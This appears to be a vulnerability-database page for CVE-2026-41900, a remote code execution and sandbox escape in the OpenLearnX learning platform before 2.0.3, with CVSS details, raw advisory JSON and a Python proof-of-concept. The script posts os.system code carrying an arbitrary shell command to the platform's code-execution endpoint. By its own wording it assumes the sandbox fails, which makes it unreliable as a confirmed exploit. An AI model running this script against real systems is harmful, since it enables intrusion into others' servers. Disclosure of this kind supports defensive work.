Security Vulnerability Report
中文
CVE-2026-41900 CVSS 8.8 HIGH

CVE-2026-41900

Published: 2026-05-08 04:16:19
Last Modified: 2026-05-08 16:08:16

Description

OpenLearnX is an open-source, decentralized learning and assessment platform. Prior to version 2.0.3, a remote code execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. This issue has been patched in version 2.0.3.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenLearnX < 2.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: OpenLearnX < 2.0.3 - Remote Code Execution (RCE) via Sandbox Escape # Date: 2026-05-08 # Exploit Author: Analyst # Vendor Homepage: https://github.com/th30d4y/OpenLearnX # Version: < 2.0.3 # Tested on: Linux/Unix def exploit(target_url, command): """ Exploit function to send malicious payload to OpenLearnX execution environment. """ # The endpoint that handles code execution execute_endpoint = f"{target_url}/api/execute" # Payload designed to break out of the sandbox and execute a shell command # This assumes the sandbox fails to restrict 'os' module or similar primitives malicious_code = f""" import os os.system('{command}') """ payload = { "code": malicious_code, "language": "python" } try: print(f"[*] Sending payload to {execute_endpoint}...") response = requests.post(execute_endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-openlearnx-instance.com" cmd = "id" # Command to execute on the host exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41900", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:18.710", "lastModified": "2026-05-08T16:08:15.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenLearnX is an open-source, decentralized learning and assessment platform. Prior to version 2.0.3, a remote code execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. This issue has been patched in version 2.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-250"}, {"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://github.com/th30d4y/OpenLearnX/commit/14765d7d1856d564747c55c5412e2f38feab079e", "source": "[email protected]"}, {"url": "https://github.com/th30d4y/OpenLearnX/releases/tag/v2.0.3-security-fix", "source": "[email protected]"}, {"url": "https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-8h25-q488-4hxw", "source": "[email protected]"}]}}